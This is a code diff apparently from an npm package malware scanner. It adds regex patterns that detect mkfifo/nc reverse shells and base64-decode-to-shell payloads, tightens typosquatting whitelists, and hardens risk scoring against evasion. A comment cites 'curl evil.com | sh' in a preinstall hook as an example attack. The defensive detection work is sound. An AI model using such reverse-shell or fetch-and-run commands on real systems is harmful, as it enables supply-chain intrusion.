- { pattern: /mkfifo.*\/dev\/tcp/m, name: 'fifo_reverse_shell', severity: 'CRITICAL' }
19
+ { pattern: /mkfifo.*\/dev\/tcp/m, name: 'fifo_reverse_shell', severity: 'CRITICAL' },
20
+ { pattern: /mkfifo\s+\S+.*(?:\|\s*nc\s|nc\s+\S+.*>\s*\/tmp\/)/m, name: 'fifo_nc_reverse_shell', severity: 'CRITICAL' },
21
+ { pattern: /base64\s+-d\b.*\|\s*(ba)?sh/m, name: 'base64_decode_exec', severity: 'CRITICAL' },
22
+ { pattern: /wget\s+\S+.*&&.*base64\s+-d/m, name: 'wget_base64_decode', severity: 'HIGH' }
20
23
  ];
21
24
 
22
25
  async function scanShellScripts(targetPath) {
@@ -116,6 +116,20 @@ const WHITELIST = new Set([
116
116
  ]);
117
117
 
118
118
 
119
+ // B13: Pair-aware whitelist — only skip comparison with the specific popular package
120
+ const WHITELIST_PAIRS = new Map([
121
+ ['chai', 'chalk'], ['pino', 'sinon'], ['ioredis', 'redis'],
122
+ ['bcryptjs', 'bcrypt'], ['recast', 'react'], ['asyncdi', 'async'],
123
+ ['redux', 'redis'], ['args', 'yargs'], ['oxlint', 'eslint'], ['vasync', 'async'],
124
+ ['conf', 'config'], ['defu', 'debug'], ['ohash', 'lodash'], ['cors', 'colors'],
125
+ ['meant', 'react'], ['whelk', 'chalk'], ['tslog', 'tslib'], ['mkdist', 'mkdirp'],
126
+ ['jshint', 'eslint'], ['dtslint', 'eslint'], ['redis', 'redux'],
127
+ ['cypress', 'express'], ['colord', 'colors'], ['read', 'react'],
128
+ ['ulid', 'uuid'], ['tslint', 'eslint'], ['jison', 'sinon'],
129
+ ['reds', 'redis'], ['docdash', 'lodash'], ['yarpm', 'yargs'],
130
+ ['canvg', 'canvas'], ['mocks', 'mocha'], ['reactor', 'react']
131
+ ]);
132
+
119
133
  // Pre-computed lowercase versions for performance
120
134
  const POPULAR_PACKAGES_LOWER = POPULAR_PACKAGES.map(p => p.toLowerCase());
121
135
 
@@ -317,9 +331,9 @@ async function scanTyposquatting(targetPath) {
317
331
  function findTyposquatMatch(name) {
318
332
  const nameLower = name.toLowerCase();
319
333
 
320
- // Ignore les packages whitelistes
321
- if (WHITELIST.has(nameLower)) return null;
322
-
334
+ // Ignore les packages whitelistes (B13: only skip entirely if not in pair-aware map)
335
+ if (WHITELIST.has(nameLower) && !WHITELIST_PAIRS.has(nameLower)) return null;
336
+
323
337
  // Ignore les packages scoped (@org/package)
324
338
  if (name.startsWith('@')) return null;
325
339
 
@@ -329,6 +343,9 @@ function findTyposquatMatch(name) {
329
343
  // Ignore les packages avec suffixes legitimes courants
330
344
  if (isLegitimateVariant(nameLower)) return null;
331
345
 
346
+ // B13: Get the specific popular package this whitelisted name is paired with
347
+ const pairedTarget = WHITELIST_PAIRS.get(nameLower);
348
+
332
349
  for (let i = 0; i < POPULAR_PACKAGES.length; i++) {
333
350
  const popularLower = POPULAR_PACKAGES_LOWER[i];
334
351
  const popular = POPULAR_PACKAGES[i];
@@ -336,6 +353,9 @@ function findTyposquatMatch(name) {
336
353
  // Ignore si c'est exactement le meme
337
354
  if (nameLower === popularLower) continue;
338
355
 
356
+ // B13: Skip only the intended pair for whitelisted packages
357
+ if (pairedTarget && pairedTarget === popularLower) continue;
358
+
339
359
  // Ignore si le package populaire est trop court
340
360
  if (popular.length < MIN_PACKAGE_LENGTH) continue;
341
361
 
package/src/scoring.js CHANGED
@@ -177,9 +177,21 @@ function applyFPReductions(threats, reachableFiles, packageName) {
177
177
  // Threshold raised from >1 to >4 (audit fix: >1 was trivially exploitable).
178
178
  const pluginLoaderCount = (typeCounts.dynamic_require || 0) + (typeCounts.dynamic_import || 0);
179
179
  if (pluginLoaderCount > 4) {
180
+ // Per-file: only downgrade in files that individually exceed threshold
181
+ // Prevents attacker from distributing 5+ requires across files to downgrade all
182
+ const perFilePluginCount = {};
183
+ for (const t of threats) {
184
+ if (t.type === 'dynamic_require' || t.type === 'dynamic_import') {
185
+ const f = t.file || '(unknown)';
186
+ perFilePluginCount[f] = (perFilePluginCount[f] || 0) + 1;
187
+ }
188
+ }
180
189
  for (const t of threats) {
181
190
  if ((t.type === 'dynamic_require' || t.type === 'dynamic_import') && t.severity === 'HIGH') {
182
- t.severity = 'LOW';
191
+ const f = t.file || '(unknown)';
192
+ if (perFilePluginCount[f] > 4) {
193
+ t.severity = 'LOW';
194
+ }
183
195
  }
184
196
  }
185
197
  }
@@ -199,7 +211,7 @@ function applyFPReductions(threats, reachableFiles, packageName) {
199
211
  // vm_code_execution: full bypass — packages with only vm.Script calls (cassandra-driver,
200
212
  // webpack, jest) are legitimate. Real malware using vm always has other signals
201
213
  // (network, fs, obfuscation). The >3 count threshold is sufficient protection.
202
- if (typeRatio < 0.5 ||
214
+ if (typeRatio < 0.4 ||
203
215
  (t.type === 'suspicious_dataflow' && typeRatio < 0.8) ||
204
216
  t.type === 'vm_code_execution') {
205
217
  t.severity = rule.to;
@@ -296,7 +308,12 @@ function calculateRiskScore(deduped) {
296
308
  }
297
309
 
298
310
  // 4. Compute package-level score (typosquat, lifecycle, dependency IOC, etc.)
299
- const packageScore = computeGroupScore(packageLevelThreats);
311
+ let packageScore = computeGroupScore(packageLevelThreats);
312
+ // Floor: CRITICAL package-level threats (lifecycle_shell_pipe, IOC match) → minimum HIGH (50)
313
+ // A single "curl evil.com | sh" in preinstall = 25 points = MEDIUM without floor.
314
+ if (packageScore >= 25 && packageLevelThreats.some(t => t.severity === 'CRITICAL')) {
315
+ packageScore = Math.max(packageScore, 50);
316
+ }
300
317
 
301
318
  // 5. Cross-file bonus: aggregate signal from non-max files
302
319
  // A package with 3 files each scoring 20 is more suspicious than 1 file scoring 20.